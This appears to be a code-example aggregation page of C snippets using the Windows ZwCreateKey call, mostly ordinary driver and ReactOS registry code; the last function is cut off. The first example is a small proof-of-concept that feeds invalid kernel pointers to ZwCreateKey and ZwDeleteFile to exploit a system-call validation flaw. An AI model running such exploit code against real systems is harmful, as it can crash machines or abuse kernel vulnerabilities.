예제 #1
0
int main(int argc,char **argv)
{
  about();

  if (argc!=2)
  {
    usage();
    return 1;
  }

  if (!stricmp(argv[1],"NtCreateKey") || !stricmp(argv[1],"ZwCreateKey"))
  {
    HANDLE handle;
    OBJECT_ATTRIBUTES oa;
    InitializeObjectAttributes(&oa,NULL,0,NULL,NULL);

    for (oa.ObjectName=(PVOID)0x80000000;;oa.ObjectName+=0x0300)
      ZwCreateKey(&handle,0,&oa,0,NULL,0,NULL);

  } else if (!stricmp(argv[1],"NtDeleteFile") || !stricmp(argv[1],"ZwDeleteFile"))
  {
    OBJECT_ATTRIBUTES oa;
    UNICODE_STRING us={0x6B3,0x12,(PVOID)0x10000};
    InitializeObjectAttributes(&oa,&us,0,NULL,NULL);
    ZwDeleteFile(&oa);
  } else printf("\nI do not know how to exploit the vulnerability using this function.\n");

  printf("\nTEST FAILED!\n");
  return 1;
}
예제 #2
0
NTSTATUS
SampRegCreateKey(IN HANDLE ParentKeyHandle,
                 IN LPCWSTR KeyName,
                 IN ACCESS_MASK DesiredAccess,
                 OUT PHANDLE KeyHandle)
{
    OBJECT_ATTRIBUTES ObjectAttributes;
    UNICODE_STRING Name;
    ULONG Disposition;

    RtlInitUnicodeString(&Name, KeyName);

    InitializeObjectAttributes(&ObjectAttributes,
                               &Name,
                               OBJ_CASE_INSENSITIVE | OBJ_OPENIF,
                               ParentKeyHandle,
                               NULL);

    /* Create the key */
    return ZwCreateKey(KeyHandle,
                       DesiredAccess,
                       &ObjectAttributes,
                       0,
                       NULL,
                       0,
                       &Disposition);
}
예제 #3
0
NTSTATUS FilterWriteSetting(_In_ PMS_FILTER pFilter, uint16_t aKey, int aIndex, const uint8_t *aValue, uint16_t aValueLength)
{
    HANDLE regKey = NULL;
    OBJECT_ATTRIBUTES attributes;
    DECLARE_UNICODE_STRING_SIZE(Name, 20);

    // Convert 'aKey' to a string
    RtlIntegerToUnicodeString((ULONG)aKey, 16, &Name);

    InitializeObjectAttributes(
        &attributes,
        &Name,
        OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
        pFilter->otSettingsRegKey,
        NULL);

    // Create/Open the registry key
    NTSTATUS status =
        ZwCreateKey(
            &regKey,
            KEY_ALL_ACCESS,
            &attributes,
            0,
            NULL,
            REG_OPTION_NON_VOLATILE,
            NULL);

    NT_ASSERT(NT_SUCCESS(status));
    if (!NT_SUCCESS(status))
    {
        LogError(DRIVER_DEFAULT, "ZwCreateKey for %S key failed, %!STATUS!", Name.Buffer, status);
        goto error;
    }

    // Convert 'aIndex' to a string
    RtlIntegerToUnicodeString((ULONG)aIndex, 16, &Name);

    // Write the data to the registry
    status =
        ZwSetValueKey(
            regKey,
            &Name,
            0,
            REG_BINARY,
            (PVOID)aValue,
            aValueLength);

    if (!NT_SUCCESS(status))
    {
        LogError(DRIVER_DEFAULT, "ZwSetValueKey for %S value failed, %!STATUS!", Name.Buffer, status);
        goto error;
    }

error:

    if (regKey) ZwClose(regKey);

    return status;
}
예제 #4
0
파일: pnpres.c 프로젝트: killvxk/NT_OS
static
NTSTATUS
IopUpdateControlKeyWithResources(IN PDEVICE_NODE DeviceNode)
{
   UNICODE_STRING EnumRoot = RTL_CONSTANT_STRING(ENUM_ROOT);
   UNICODE_STRING Control = RTL_CONSTANT_STRING(L"Control");
   UNICODE_STRING ValueName = RTL_CONSTANT_STRING(L"AllocConfig");
   HANDLE EnumKey, InstanceKey, ControlKey;
   NTSTATUS Status;
   OBJECT_ATTRIBUTES ObjectAttributes;

   /* Open the Enum key */
   Status = IopOpenRegistryKeyEx(&EnumKey, NULL, &EnumRoot, KEY_ENUMERATE_SUB_KEYS);
   if (!NT_SUCCESS(Status))
       return Status;

   /* Open the instance key (eg. Root\PNP0A03) */
   Status = IopOpenRegistryKeyEx(&InstanceKey, EnumKey, &DeviceNode->InstancePath, KEY_ENUMERATE_SUB_KEYS);
   ZwClose(EnumKey);

   if (!NT_SUCCESS(Status))
       return Status;

   /* Create/Open the Control key */
   InitializeObjectAttributes(&ObjectAttributes,
                              &Control,
                              OBJ_CASE_INSENSITIVE,
                              InstanceKey,
                              NULL);
   Status = ZwCreateKey(&ControlKey,
                        KEY_SET_VALUE,
                        &ObjectAttributes,
                        0,
                        NULL,
                        REG_OPTION_VOLATILE,
                        NULL);
   ZwClose(InstanceKey);

   if (!NT_SUCCESS(Status))
       return Status;

   /* Write the resource list */
   Status = ZwSetValueKey(ControlKey,
                          &ValueName,
                          0,
                          REG_RESOURCE_LIST,
                          DeviceNode->ResourceList,
                          PnpDetermineResourceListSize(DeviceNode->ResourceList));
   ZwClose(ControlKey);

   if (!NT_SUCCESS(Status))
       return Status;

   return STATUS_SUCCESS;
}
예제 #5
0
NTSTATUS
OpenDevicesKey(
    IN PWSTR RegistryPath,
    OUT PHANDLE Key)
/*
    Description:
        Create a volatile key under this driver's Services node to contain
        the device name list.

    Parameters:
        RegistryPath    The location of the registry entry
        Key             The key in the registry

    Return Value:
        NT status STATUS_SUCCESS if successful (duh...)
*/
{
    NTSTATUS s;
    HANDLE hKey;
    OBJECT_ATTRIBUTES oa;
    UNICODE_STRING uStr;

    // Attempt to open the key

    RtlInitUnicodeString(&uStr, RegistryPath);

    InitializeObjectAttributes(&oa, &uStr, OBJ_CASE_INSENSITIVE, NULL,
                                (PSECURITY_DESCRIPTOR)NULL);

    s = ZwOpenKey(&hKey, KEY_CREATE_SUB_KEY, &oa);

    if (! NT_SUCCESS(s))
        return s;   // Problem


    // Now create sub key

    RtlInitUnicodeString(&uStr, (PWSTR) DEVICE_SUBKEY);

    InitializeObjectAttributes(&oa, &uStr, OBJ_CASE_INSENSITIVE, hKey,
                                (PSECURITY_DESCRIPTOR)NULL);

    s = ZwCreateKey(Key, KEY_ALL_ACCESS, &oa, 0, NULL, REG_OPTION_VOLATILE,
                    NULL);

    ZwClose(hKey);

    return s;
}
예제 #6
0
/*
Function: setRegistryValue

Parameters:
io: reference to <IO>-Controller
*/
void setRegistryValue(IO &io,WCHAR *keyName,WCHAR *valueName,WCHAR *value)
{
	Indenter i(io);
	UNICODE_STRING KeyName, ValueName;
	HANDLE SoftwareKeyHandle;
	ULONG Status;
	OBJECT_ATTRIBUTES ObjectAttributes;
	ULONG Disposition;

	//io.print("Schreibe Registry-Key ");

	//DbgBreakPoint();
	//
	// Open the Software key
	//
	NT::RtlInitUnicodeString(&KeyName,keyName);
	InitializeObjectAttributes(
		&ObjectAttributes,
		&KeyName,
		OBJ_CASE_INSENSITIVE,
		NULL,
		NULL);
	Status = ZwCreateKey(
		&SoftwareKeyHandle,
		KEY_ALL_ACCESS,
		&ObjectAttributes,
		0,
		NULL,
		REG_OPTION_NON_VOLATILE,
		&Disposition);

	CHECK_STATUS(Status,Öffnen des Schlüssels)

	NT::RtlInitUnicodeString(&ValueName,valueName);

	Status = ZwSetValueKey(
		SoftwareKeyHandle,
		&ValueName,
		0,
		REG_SZ,
		value,
		(wcslen( value )+1) * sizeof(WCHAR));

	CHECK_STATUSA(Status,Setzen des Schlüssels);

	Status = ZwClose(SoftwareKeyHandle);

	CHECK_STATUS(Status,Schließen des Schlüssels);
}
예제 #7
0
파일: rxact.c 프로젝트: Strongc/reactos
static
NTSTATUS
NTAPI
RXactpOpenTargetKey(
    HANDLE RootDirectory,
    ULONG ActionType,
    PUNICODE_STRING KeyName,
    PHANDLE KeyHandle)
{
    NTSTATUS Status;
    ULONG Disposition;
    OBJECT_ATTRIBUTES ObjectAttributes;

    /* Check what kind of action this is */
    if (ActionType == RXactDeleteKey)
    {
        /* This is a delete, so open the key for delete */
        InitializeObjectAttributes(&ObjectAttributes,
                                   KeyName,
                                   OBJ_CASE_INSENSITIVE,
                                   RootDirectory,
                                   NULL);
        Status = ZwOpenKey(KeyHandle, DELETE, &ObjectAttributes);
    }
    else if (ActionType == RXactSetValueKey)
    {
        /* This is a create, so open or create with write access */
        InitializeObjectAttributes(&ObjectAttributes,
                                   KeyName,
                                   OBJ_CASE_INSENSITIVE | OBJ_OPENIF,
                                   RootDirectory,
                                   NULL);
        Status = ZwCreateKey(KeyHandle,
                             KEY_WRITE,
                             &ObjectAttributes,
                             0,
                             NULL,
                             0,
                             &Disposition);
    }
    else
    {
        return STATUS_INVALID_PARAMETER;
    }

    return Status;
}
예제 #8
0
NTSTATUS CreateKey(LPWSTR Root, LPWSTR KeyPath, OUT PHANDLE hKey) {
	
	LPWSTR FullKeyPath = GetFullKeyPath(Root, KeyPath);
	DbgPrintW(FullKeyPath);

	UNICODE_STRING UnicodePath;
	RtlInitUnicodeString(&UnicodePath, FullKeyPath);

	OBJECT_ATTRIBUTES ObjectAttributes;
	InitializeObjectAttributes(&ObjectAttributes, &UnicodePath, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);

	NTSTATUS Status = ZwCreateKey(hKey, KEY_ALL_ACCESS, &ObjectAttributes, 0, NULL, REG_OPTION_VOLATILE, NULL);

	FreeString(FullKeyPath);

	return Status;
}
예제 #9
0
NTSTATUS
RegistryCreateSubKey(
    IN  PHANDLE         Key,
    IN  PCHAR           Name,
    IN  ULONG           Options,
    OUT PHANDLE         SubKey
    )
{
    ANSI_STRING         Ansi;
    UNICODE_STRING      Unicode;
    OBJECT_ATTRIBUTES   Attributes;
    NTSTATUS            status;

    RtlInitAnsiString(&Ansi, Name);

    status = RtlAnsiStringToUnicodeString(&Unicode, &Ansi, TRUE);
    if (!NT_SUCCESS(status))
        goto fail1;

    InitializeObjectAttributes(&Attributes,
                               &Unicode,
                               OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
                               Key,
                               NULL);

    status = ZwCreateKey(SubKey,
                         KEY_ALL_ACCESS,
                         &Attributes,
                         0,
                         NULL,
                         Options,
                         NULL
                         );
    if (!NT_SUCCESS(status))
        goto fail2;

    RtlFreeUnicodeString(&Unicode);

    return STATUS_SUCCESS;

fail2:
    RtlFreeUnicodeString(&Unicode);

fail1:
    return status;
}
예제 #10
0
파일: Log.c 프로젝트: the-alien/evhdparser
NTSTATUS Log_Initialize(PDEVICE_OBJECT DeviceObject, PUNICODE_STRING RegistryPath)
{
	NTSTATUS Status = STATUS_SUCCESS;
	HANDLE hKey = NULL;
	OBJECT_ATTRIBUTES fAttrs;
	UNICODE_STRING SubkeyName;

	LogDeviceObject = DeviceObject;
	ObReferenceObject(LogDeviceObject);

	InitializeObjectAttributes(&fAttrs, RegistryPath, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
	Status = ZwOpenKey(&hKey, KEY_CREATE_SUB_KEY | KEY_SET_VALUE | KEY_WRITE | KEY_QUERY_VALUE | KEY_READ, &fAttrs);
	if (!NT_SUCCESS(Status))
		return Status;

	RtlInitUnicodeString(&SubkeyName, L"Logging");
	InitializeObjectAttributes(&fAttrs, &SubkeyName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, hKey, NULL);
	Status = ZwCreateKey(&LogParametersKey, GENERIC_WRITE | GENERIC_READ, &fAttrs, 0, NULL, REG_OPTION_NON_VOLATILE, NULL);
	if (NT_SUCCESS(Status))
	{
		Reg_GetDwordValue(LogParametersKey, L"LogLevel", &LogSettings.LogLevel);
		Reg_GetDwordValue(LogParametersKey, L"LogCategoryMask", &LogSettings.LogCategories);
		Reg_GetDwordValue(LogParametersKey, L"MaxFileSize", &LogSettings.MaxFileSize);
		Reg_GetDwordValue(LogParametersKey, L"MaxKeptRotatedFiles", &LogSettings.MaxKeptRotatedFiles);
		Reg_GetStringValue(LogParametersKey, L"LogFileName", &LogFileName);
	}

	if (LogSettings.MaxFileSize < MINIMUM_ROTATION_SIZE)
		LogSettings.MaxFileSize = MINIMUM_ROTATION_SIZE;

	if (LogFileName)
	{
		Status = Log_StartFileLogging(LogFileName);
	}

	ZwClose(hKey);

	return Status;
}
예제 #11
0
NTSTATUS
DrReadKeyValueInstantly(
		PUNICODE_STRING RegistryPath,
		PWCHAR	ValueKeyName,
		ULONG	ValueKeyType,
		PVOID	Buffer,
		ULONG	BufferLength,
		PULONG	BufferLengthNeeded
){
	NTSTATUS	status;
	HANDLE		registryKey;
	OBJECT_ATTRIBUTES	objectAttributes;

	InitializeObjectAttributes( &objectAttributes,
								RegistryPath,
								OBJ_KERNEL_HANDLE,
								NULL,
								NULL
							);
	status = ZwCreateKey(
						&registryKey,
						KEY_READ,
						&objectAttributes,
						0,
						NULL,
						REG_OPTION_NON_VOLATILE,
						NULL
					);
	if(!NT_SUCCESS(status)) {
		return status;
	}

	status = DrReadKeyValue(registryKey, ValueKeyName, ValueKeyType, Buffer, BufferLength, BufferLengthNeeded);
	ZwClose(registryKey);

	return status;

}
예제 #12
0
/*++
 * @name IoOpenDeviceInterfaceRegistryKey
 * @unimplemented
 *
 * Provides a handle to the device's interface instance registry key.
 * Documented in WDK.
 *
 * @param SymbolicLinkName
 *        Pointer to a string which identifies the device interface instance
 *
 * @param DesiredAccess
 *        Desired ACCESS_MASK used to access the key (like KEY_READ,
 *        KEY_WRITE, etc)
 *
 * @param DeviceInterfaceKey
 *        If a call has been succesfull, a handle to the registry key
 *        will be stored there
 *
 * @return Three different NTSTATUS values in case of errors, and STATUS_SUCCESS
 *         otherwise (see WDK for details)
 *
 * @remarks Must be called at IRQL = PASSIVE_LEVEL in the context of a system thread
 *
 *--*/
NTSTATUS
NTAPI
IoOpenDeviceInterfaceRegistryKey(IN PUNICODE_STRING SymbolicLinkName,
                                 IN ACCESS_MASK DesiredAccess,
                                 OUT PHANDLE DeviceInterfaceKey)
{
   HANDLE InstanceKey, DeviceParametersKey;
   NTSTATUS Status;
   OBJECT_ATTRIBUTES ObjectAttributes;
   UNICODE_STRING DeviceParametersU = RTL_CONSTANT_STRING(L"Device Parameters");

   Status = OpenRegistryHandlesFromSymbolicLink(SymbolicLinkName,
                                                KEY_CREATE_SUB_KEY,
                                                NULL,
                                                NULL,
                                                &InstanceKey);
   if (!NT_SUCCESS(Status))
       return Status;

   InitializeObjectAttributes(&ObjectAttributes,
                              &DeviceParametersU,
                              OBJ_CASE_INSENSITIVE | OBJ_OPENIF,
                              InstanceKey,
                              NULL);
   Status = ZwCreateKey(&DeviceParametersKey,
                        DesiredAccess,
                        &ObjectAttributes,
                        0,
                        NULL,
                        REG_OPTION_NON_VOLATILE,
                        NULL);
   ZwClose(InstanceKey);

   if (NT_SUCCESS(Status))
       *DeviceInterfaceKey = DeviceParametersKey;

   return Status;
}
예제 #13
0
void otPlatSettingsInit(otInstance *otCtx)
{
    NT_ASSERT(otCtx);
    PMS_FILTER pFilter = otCtxToFilter(otCtx);

    DECLARE_CONST_UNICODE_STRING(SubKeyName, L"OpenThread");

    OBJECT_ATTRIBUTES attributes;
    ULONG disposition;

    LogFuncEntry(DRIVER_DEFAULT);

    InitializeObjectAttributes(
        &attributes,
        (PUNICODE_STRING)&SubKeyName,
        OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
        pFilter->InterfaceRegKey,
        NULL);

    // Create/Open the 'OpenThread' sub key
    NTSTATUS status =
        ZwCreateKey(
            &pFilter->otSettingsRegKey,
            KEY_ALL_ACCESS,
            &attributes,
            0,
            NULL,
            REG_OPTION_NON_VOLATILE,
            &disposition);

    NT_ASSERT(NT_SUCCESS(status));
    if (!NT_SUCCESS(status))
    {
        LogError(DRIVER_DEFAULT, "ZwCreateKey for 'OpenThread' key failed, %!STATUS!", status);
    }

    LogFuncExit(DRIVER_DEFAULT);
}
예제 #14
0
void RegCreateKey(LPWSTR KeyName)
{
	OBJECT_ATTRIBUTES objectAttributes;
	UNICODE_STRING usKeyName;
	NTSTATUS ntStatus;
	HANDLE hRegister;
	RtlInitUnicodeString( &usKeyName, KeyName);
	InitializeObjectAttributes(&objectAttributes,
	                           &usKeyName,
	                           OBJ_CASE_INSENSITIVE,//对大小写敏感
	                           NULL,
	                           NULL );
	ntStatus=ZwCreateKey(&hRegister, KEY_ALL_ACCESS, &objectAttributes, 0, NULL, REG_OPTION_NON_VOLATILE, NULL);
	if(NT_SUCCESS(ntStatus))
	{
		ZwClose(hRegister);
		DbgPrint("ZwCreateKey success!\n");
	}
	else
	{
		DbgPrint("ZwCreateKey failed!\n");
	}
}
예제 #15
0
/*++
 * @name IoRegisterDeviceInterface
 * @implemented
 *
 * Registers a device interface class, if it has not been previously registered,
 * and creates a new instance of the interface class, which a driver can
 * subsequently enable for use by applications or other system components.
 * Documented in WDK.
 *
 * @param PhysicalDeviceObject
 *        Points to an optional PDO that narrows the search to only the
 *        device interfaces of the device represented by the PDO
 *
 * @param InterfaceClassGuid
 *        Points to a class GUID specifying the device interface class
 *
 * @param ReferenceString
 *        Optional parameter, pointing to a unicode string. For a full
 *        description of this rather rarely used param (usually drivers
 *        pass NULL here) see WDK
 *
 * @param SymbolicLinkName
 *        Pointer to the resulting unicode string
 *
 * @return Usual NTSTATUS
 *
 * @remarks Must be called at IRQL = PASSIVE_LEVEL in the context of a
 *          system thread
 *
 *--*/
NTSTATUS
NTAPI
IoRegisterDeviceInterface(IN PDEVICE_OBJECT PhysicalDeviceObject,
                          IN CONST GUID *InterfaceClassGuid,
                          IN PUNICODE_STRING ReferenceString OPTIONAL,
                          OUT PUNICODE_STRING SymbolicLinkName)
{
    PUNICODE_STRING InstancePath;
    UNICODE_STRING GuidString;
    UNICODE_STRING SubKeyName;
    UNICODE_STRING InterfaceKeyName;
    UNICODE_STRING BaseKeyName;
    UCHAR PdoNameInfoBuffer[sizeof(OBJECT_NAME_INFORMATION) + (256 * sizeof(WCHAR))];
    POBJECT_NAME_INFORMATION PdoNameInfo = (POBJECT_NAME_INFORMATION)PdoNameInfoBuffer;
    UNICODE_STRING DeviceInstance = RTL_CONSTANT_STRING(L"DeviceInstance");
    UNICODE_STRING SymbolicLink = RTL_CONSTANT_STRING(L"SymbolicLink");
    HANDLE ClassKey;
    HANDLE InterfaceKey;
    HANDLE SubKey;
    ULONG StartIndex;
    OBJECT_ATTRIBUTES ObjectAttributes;
    ULONG i;
    NTSTATUS Status, SymLinkStatus;
    PEXTENDED_DEVOBJ_EXTENSION DeviceObjectExtension;

    ASSERT_IRQL_EQUAL(PASSIVE_LEVEL);

    DPRINT("IoRegisterDeviceInterface(): PDO %p, RefString: %wZ\n",
        PhysicalDeviceObject, ReferenceString);

    /* Parameters must pass three border of checks */
    DeviceObjectExtension = (PEXTENDED_DEVOBJ_EXTENSION)PhysicalDeviceObject->DeviceObjectExtension;

    /* 1st level: Presence of a Device Node */
    if (DeviceObjectExtension->DeviceNode == NULL)
    {
        DPRINT("PhysicalDeviceObject 0x%p doesn't have a DeviceNode\n", PhysicalDeviceObject);
        return STATUS_INVALID_DEVICE_REQUEST;
    }

    /* 2nd level: Presence of an non-zero length InstancePath */
    if (DeviceObjectExtension->DeviceNode->InstancePath.Length == 0)
    {
        DPRINT("PhysicalDeviceObject 0x%p's DOE has zero-length InstancePath\n", PhysicalDeviceObject);
        return STATUS_INVALID_DEVICE_REQUEST;
    }

    /* 3rd level: Optional, based on WDK documentation */
    if (ReferenceString != NULL)
    {
        /* Reference string must not contain path-separator symbols */
        for (i = 0; i < ReferenceString->Length / sizeof(WCHAR); i++)
        {
            if ((ReferenceString->Buffer[i] == '\\') ||
                (ReferenceString->Buffer[i] == '/'))
                return STATUS_INVALID_DEVICE_REQUEST;
        }
    }

    Status = RtlStringFromGUID(InterfaceClassGuid, &GuidString);
    if (!NT_SUCCESS(Status))
    {
        DPRINT("RtlStringFromGUID() failed with status 0x%08lx\n", Status);
        return Status;
    }

    /* Create Pdo name: \Device\xxxxxxxx (unnamed device) */
    Status = ObQueryNameString(
        PhysicalDeviceObject,
        PdoNameInfo,
        sizeof(PdoNameInfoBuffer),
        &i);
    if (!NT_SUCCESS(Status))
    {
        DPRINT("ObQueryNameString() failed with status 0x%08lx\n", Status);
        return Status;
    }
    ASSERT(PdoNameInfo->Name.Length);

    /* Create base key name for this interface: HKLM\SYSTEM\CurrentControlSet\Control\DeviceClasses\{GUID} */
    ASSERT(((PEXTENDED_DEVOBJ_EXTENSION)PhysicalDeviceObject->DeviceObjectExtension)->DeviceNode);
    InstancePath = &((PEXTENDED_DEVOBJ_EXTENSION)PhysicalDeviceObject->DeviceObjectExtension)->DeviceNode->InstancePath;
    BaseKeyName.Length = (USHORT)wcslen(BaseKeyString) * sizeof(WCHAR);
    BaseKeyName.MaximumLength = BaseKeyName.Length
        + GuidString.Length;
    BaseKeyName.Buffer = ExAllocatePool(
        PagedPool,
        BaseKeyName.MaximumLength);
    if (!BaseKeyName.Buffer)
    {
        DPRINT("ExAllocatePool() failed\n");
        return STATUS_INSUFFICIENT_RESOURCES;
    }
    wcscpy(BaseKeyName.Buffer, BaseKeyString);
    RtlAppendUnicodeStringToString(&BaseKeyName, &GuidString);

    /* Create BaseKeyName key in registry */
    InitializeObjectAttributes(
        &ObjectAttributes,
        &BaseKeyName,
        OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE | OBJ_OPENIF,
        NULL, /* RootDirectory */
        NULL); /* SecurityDescriptor */

    Status = ZwCreateKey(
        &ClassKey,
        KEY_WRITE,
        &ObjectAttributes,
        0, /* TileIndex */
        NULL, /* Class */
        REG_OPTION_VOLATILE,
        NULL); /* Disposition */

    if (!NT_SUCCESS(Status))
    {
        DPRINT("ZwCreateKey() failed with status 0x%08lx\n", Status);
        ExFreePool(BaseKeyName.Buffer);
        return Status;
    }

    /* Create key name for this interface: ##?#ACPI#PNP0501#1#{GUID} */
    InterfaceKeyName.Length = 0;
    InterfaceKeyName.MaximumLength =
        4 * sizeof(WCHAR) + /* 4  = size of ##?# */
        InstancePath->Length +
        sizeof(WCHAR) +     /* 1  = size of # */
        GuidString.Length;
    InterfaceKeyName.Buffer = ExAllocatePool(
        PagedPool,
        InterfaceKeyName.MaximumLength);
    if (!InterfaceKeyName.Buffer)
    {
        DPRINT("ExAllocatePool() failed\n");
        return STATUS_INSUFFICIENT_RESOURCES;
    }

    RtlAppendUnicodeToString(&InterfaceKeyName, L"##?#");
    StartIndex = InterfaceKeyName.Length / sizeof(WCHAR);
    RtlAppendUnicodeStringToString(&InterfaceKeyName, InstancePath);
    for (i = 0; i < InstancePath->Length / sizeof(WCHAR); i++)
    {
        if (InterfaceKeyName.Buffer[StartIndex + i] == '\\')
            InterfaceKeyName.Buffer[StartIndex + i] = '#';
    }
    RtlAppendUnicodeToString(&InterfaceKeyName, L"#");
    RtlAppendUnicodeStringToString(&InterfaceKeyName, &GuidString);

    /* Create the interface key in registry */
    InitializeObjectAttributes(
        &ObjectAttributes,
        &InterfaceKeyName,
        OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE | OBJ_OPENIF,
        ClassKey,
        NULL); /* SecurityDescriptor */

    Status = ZwCreateKey(
        &InterfaceKey,
        KEY_WRITE,
        &ObjectAttributes,
        0, /* TileIndex */
        NULL, /* Class */
        REG_OPTION_VOLATILE,
        NULL); /* Disposition */

    if (!NT_SUCCESS(Status))
    {
        DPRINT("ZwCreateKey() failed with status 0x%08lx\n", Status);
        ZwClose(ClassKey);
        ExFreePool(BaseKeyName.Buffer);
        return Status;
    }

    /* Write DeviceInstance entry. Value is InstancePath */
    Status = ZwSetValueKey(
        InterfaceKey,
        &DeviceInstance,
        0, /* TileIndex */
        REG_SZ,
        InstancePath->Buffer,
        InstancePath->Length);
    if (!NT_SUCCESS(Status))
    {
        DPRINT("ZwSetValueKey() failed with status 0x%08lx\n", Status);
        ZwClose(InterfaceKey);
        ZwClose(ClassKey);
        ExFreePool(InterfaceKeyName.Buffer);
        ExFreePool(BaseKeyName.Buffer);
        return Status;
    }

    /* Create subkey. Name is #ReferenceString */
    SubKeyName.Length = 0;
    SubKeyName.MaximumLength = sizeof(WCHAR);
    if (ReferenceString && ReferenceString->Length)
        SubKeyName.MaximumLength += ReferenceString->Length;
    SubKeyName.Buffer = ExAllocatePool(
        PagedPool,
        SubKeyName.MaximumLength);
    if (!SubKeyName.Buffer)
    {
        DPRINT("ExAllocatePool() failed\n");
        ZwClose(InterfaceKey);
        ZwClose(ClassKey);
        ExFreePool(InterfaceKeyName.Buffer);
        ExFreePool(BaseKeyName.Buffer);
        return STATUS_INSUFFICIENT_RESOURCES;
    }
    RtlAppendUnicodeToString(&SubKeyName, L"#");
    if (ReferenceString && ReferenceString->Length)
        RtlAppendUnicodeStringToString(&SubKeyName, ReferenceString);

    /* Create SubKeyName key in registry */
    InitializeObjectAttributes(
        &ObjectAttributes,
        &SubKeyName,
        OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
        InterfaceKey, /* RootDirectory */
        NULL); /* SecurityDescriptor */

    Status = ZwCreateKey(
        &SubKey,
        KEY_WRITE,
        &ObjectAttributes,
        0, /* TileIndex */
        NULL, /* Class */
        REG_OPTION_VOLATILE,
        NULL); /* Disposition */

    if (!NT_SUCCESS(Status))
    {
        DPRINT("ZwCreateKey() failed with status 0x%08lx\n", Status);
        ZwClose(InterfaceKey);
        ZwClose(ClassKey);
        ExFreePool(InterfaceKeyName.Buffer);
        ExFreePool(BaseKeyName.Buffer);
        return Status;
    }

    /* Create symbolic link name: \??\ACPI#PNP0501#1#{GUID}\ReferenceString */
    SymbolicLinkName->Length = 0;
    SymbolicLinkName->MaximumLength = SymbolicLinkName->Length
        + 4 * sizeof(WCHAR) /* 4 = size of \??\ */
        + InstancePath->Length
        + sizeof(WCHAR)     /* 1  = size of # */
        + GuidString.Length
        + sizeof(WCHAR);    /* final NULL */
    if (ReferenceString && ReferenceString->Length)
        SymbolicLinkName->MaximumLength += sizeof(WCHAR) + ReferenceString->Length;
    SymbolicLinkName->Buffer = ExAllocatePool(
        PagedPool,
        SymbolicLinkName->MaximumLength);
    if (!SymbolicLinkName->Buffer)
    {
        DPRINT("ExAllocatePool() failed\n");
        ZwClose(SubKey);
        ZwClose(InterfaceKey);
        ZwClose(ClassKey);
        ExFreePool(InterfaceKeyName.Buffer);
        ExFreePool(SubKeyName.Buffer);
        ExFreePool(BaseKeyName.Buffer);
        return STATUS_INSUFFICIENT_RESOURCES;
    }
    RtlAppendUnicodeToString(SymbolicLinkName, L"\\??\\");
    StartIndex = SymbolicLinkName->Length / sizeof(WCHAR);
    RtlAppendUnicodeStringToString(SymbolicLinkName, InstancePath);
    for (i = 0; i < InstancePath->Length / sizeof(WCHAR); i++)
    {
        if (SymbolicLinkName->Buffer[StartIndex + i] == '\\')
            SymbolicLinkName->Buffer[StartIndex + i] = '#';
    }
    RtlAppendUnicodeToString(SymbolicLinkName, L"#");
    RtlAppendUnicodeStringToString(SymbolicLinkName, &GuidString);
    SymbolicLinkName->Buffer[SymbolicLinkName->Length/sizeof(WCHAR)] = L'\0';

    /* Create symbolic link */
    DPRINT("IoRegisterDeviceInterface(): creating symbolic link %wZ -> %wZ\n", SymbolicLinkName, &PdoNameInfo->Name);
    SymLinkStatus = IoCreateSymbolicLink(SymbolicLinkName, &PdoNameInfo->Name);

    /* If the symbolic link already exists, return an informational success status */
    if (SymLinkStatus == STATUS_OBJECT_NAME_COLLISION)
    {
        /* HACK: Delete the existing symbolic link and update it to the new PDO name */
        IoDeleteSymbolicLink(SymbolicLinkName);
        IoCreateSymbolicLink(SymbolicLinkName, &PdoNameInfo->Name);
        SymLinkStatus = STATUS_OBJECT_NAME_EXISTS;
    }

    if (!NT_SUCCESS(SymLinkStatus))
    {
        DPRINT1("IoCreateSymbolicLink() failed with status 0x%08lx\n", SymLinkStatus);
        ZwClose(SubKey);
        ZwClose(InterfaceKey);
        ZwClose(ClassKey);
        ExFreePool(SubKeyName.Buffer);
        ExFreePool(InterfaceKeyName.Buffer);
        ExFreePool(BaseKeyName.Buffer);
        ExFreePool(SymbolicLinkName->Buffer);
        return SymLinkStatus;
    }

    if (ReferenceString && ReferenceString->Length)
    {
        RtlAppendUnicodeToString(SymbolicLinkName, L"\\");
        RtlAppendUnicodeStringToString(SymbolicLinkName, ReferenceString);
    }
    SymbolicLinkName->Buffer[SymbolicLinkName->Length/sizeof(WCHAR)] = L'\0';

    /* Write symbolic link name in registry */
    SymbolicLinkName->Buffer[1] = '\\';
    Status = ZwSetValueKey(
        SubKey,
        &SymbolicLink,
        0, /* TileIndex */
        REG_SZ,
        SymbolicLinkName->Buffer,
        SymbolicLinkName->Length);
    if (!NT_SUCCESS(Status))
    {
        DPRINT1("ZwSetValueKey() failed with status 0x%08lx\n", Status);
        ExFreePool(SymbolicLinkName->Buffer);
    }
    else
    {
        SymbolicLinkName->Buffer[1] = '?';
    }

    ZwClose(SubKey);
    ZwClose(InterfaceKey);
    ZwClose(ClassKey);
    ExFreePool(SubKeyName.Buffer);
    ExFreePool(InterfaceKeyName.Buffer);
    ExFreePool(BaseKeyName.Buffer);

    return NT_SUCCESS(Status) ? SymLinkStatus : Status;
}
예제 #16
0
/*++
 * @name IoSetDeviceInterfaceState
 * @implemented
 *
 * Enables or disables an instance of a previously registered device
 * interface class.
 * Documented in WDK.
 *
 * @param SymbolicLinkName
 *        Pointer to the string identifying instance to enable or disable
 *
 * @param Enable
 *        TRUE = enable, FALSE = disable
 *
 * @return Usual NTSTATUS
 *
 * @remarks Must be called at IRQL = PASSIVE_LEVEL in the context of a
 *          system thread
 *
 *--*/
NTSTATUS
NTAPI
IoSetDeviceInterfaceState(IN PUNICODE_STRING SymbolicLinkName,
                          IN BOOLEAN Enable)
{
    PDEVICE_OBJECT PhysicalDeviceObject;
    PFILE_OBJECT FileObject;
    UNICODE_STRING GuidString;
    UNICODE_STRING SymLink;
    PWCHAR StartPosition;
    PWCHAR EndPosition;
    NTSTATUS Status;
    LPCGUID EventGuid;
    HANDLE InstanceHandle, ControlHandle;
